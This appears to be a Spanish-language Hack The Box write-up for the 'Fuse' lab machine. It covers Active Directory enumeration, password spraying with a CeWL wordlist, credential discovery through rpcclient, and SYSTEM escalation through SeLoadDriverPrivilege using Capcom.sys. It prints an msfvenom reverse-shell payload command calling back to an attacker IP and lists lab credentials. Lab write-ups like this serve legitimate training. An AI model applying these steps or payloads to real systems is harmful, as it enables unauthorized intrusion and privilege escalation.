HTB-Fuse
IP -> 10.10.10.193
Reconocimiento
Nmap
Utilizamos nmap y obtenemos los siguientes resultados.
Crackmapexec
Usamos Crackmapexec para enumerar información del Active Directory y añadimos el dominio al /etc/hosts
OS: Windows Server 2016 x64 Dominio: fabricorp.local Signing: True SMBv1: True
smbclient y smbhost
Listamos servicios mediante un [null session](/SMB/
rpc
Aporvechamos el servicio rpc para enumerar usuarios del sistema. Pero necesitamos credenciales
ldap
Enumeramos el servicio ldap con [ldapsearch]((/ldap/)
http
Nos redirecciona a un subdominio, lo añadimos al /etc/hosts.
Nos muestra la página de una impresora. En los distintos Logs de la impresora vemos usuarios.
users.txt
kerbrute
Validamos los usuarios en kerbrute y son válidos.
GetNPUsers.py
Probamos un ASREPRoast con la herramienta [GetNPUsers.py]((/ASREPRoast/) Pero no encontramos ningún usuario ASREPRoasteable.
Crackmapexec
Probamos los usuarios con Crackmapexec con contraseña, los mismos usuarios.
CeWl
Creamos un diccionario con CeWl con las palabras que aparecen en la página
Diccionario.txt
Crackmapexec
Probamos el diccionario con los usuarios en segundo plano mientras probamos otros vectores.
User: tlavel Pass: Fabricorp01 Status: Password must change
Probamos otro escaneo que no pare en el éxito y filtrando los resultador erróneos con grep. Obtenemos otro usuario igual.
User: bhult Pass: Mario123$! Status: Password must change
smbpasswd
Cambiamos la contraseña con [smbpasswd](/SMB/
User: bhult Pass: Fabricorp01
User: tlavel Pass: Mario123$!
rpc
Aporvechamos el servicio rpc para enumerar usuarios del sistema, proporcionando las credenciales obtenidas. Tenemos acceso, recopilamos información.
Extendemos el archivo user.txt con los nuevos usuarios.
users.txt
GetNPUsers.py
Probamos un ASREPRoast con la herramienta [GetNPUsers.py]((/ASREPRoast/) Pero no obtenemos nada.
Tarea
Detectamos que la máquina vuelve a cambiar la contraseña del usuario, la volvemos a cambiar con [smbpasswd](/SMB/
GetUserSPN.py
Probamos un Kerberoasting Attack con la credenciales obtenidas. Pero ningún usuario es Kerberoasteable.
rpc
Como la página es una impresora, buscamos comandos en [rpcclient]((/rpc/)
enumprinters PASS: $fab@s3Rv1ce$1
Crackmapexec
Realizamos un ataque de password praying probándo la contraseña para todos los usuarios.
User: svc-print PASS: $fab@s3Rv1ce$1
Vemos que por winrm aparece como PWNED.
Explotación
Evil-winrm
Nos conectamos proporcionando las credenciales en [winrm
user.txt
Privilege escalation
ldapdomaindump
Utilizamos la herramienta [ldapdomaindump]((/ldap/) Buscamos los usuarios que se puedan conectar con winrm.
RMU: sthompson, svc-print
Enumeración a nivel de OS.
whoami /priv
SeLoadDriverPrivilege
Explotación
Buscamos el permiso en google y encontramos un blog de tarlogic que explica como explotarlo.
EoPLoadDriver.cpp
Necesitamos un compilado de EoPLoadDriver.cpp Nos lo descargamos en una máquina windows 10 con Visual Studio.
Nuevo_Proyecto Aplicación_de_consola_C++ Nombre: LoadDriver Pegamos el código del EoPLoadDriver.cpp Release x64 Compilar Recompilar solución > Nos da un error con una librería Quitamos la librería Volvemos a compilar Tenemos el EoPLoadDriver.exe
Capcom.sys
Seguimos leyendo el blog y necesitamos un Capcom.sys, lo buscamos en github.
Tenemos el Capcom.sys
ExploitCapcom.sln
Seguimos leyendo y vemos que cargando el driver podemos utilizar exploits en GitHub para obtener una consola como SYSTEM.
Clonamos el repositorio ExploitCapcom Abrimos el ExpliotCapcom.sln Proyecto Propiedades de ExploitCapcom Conjunto de herramientas de la plataforma: Visual Studio 2022 Cambiamos el código para que en vez de ejecutar una cmd.exe a nivel de sistema, nos ejecute un binario malicioso que vamos a crear. Compilamos Tenemos el ExploitCapcom.exe
msfvenom
Cramos el binario
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.8 LPORT=443 -f exe -o evil.exe
Subimos el binario a una ruta con AppLockerBypass
Binarios
Pasamos los 3 binarios con [[smbserver.py]] desde la máquina W10 a la máquina parrot.
Subimos los binarios a la máquina víctima.
Seguimos los pasos del blog.
Obtenemos una shell con netcat como nt authority\system
root.txt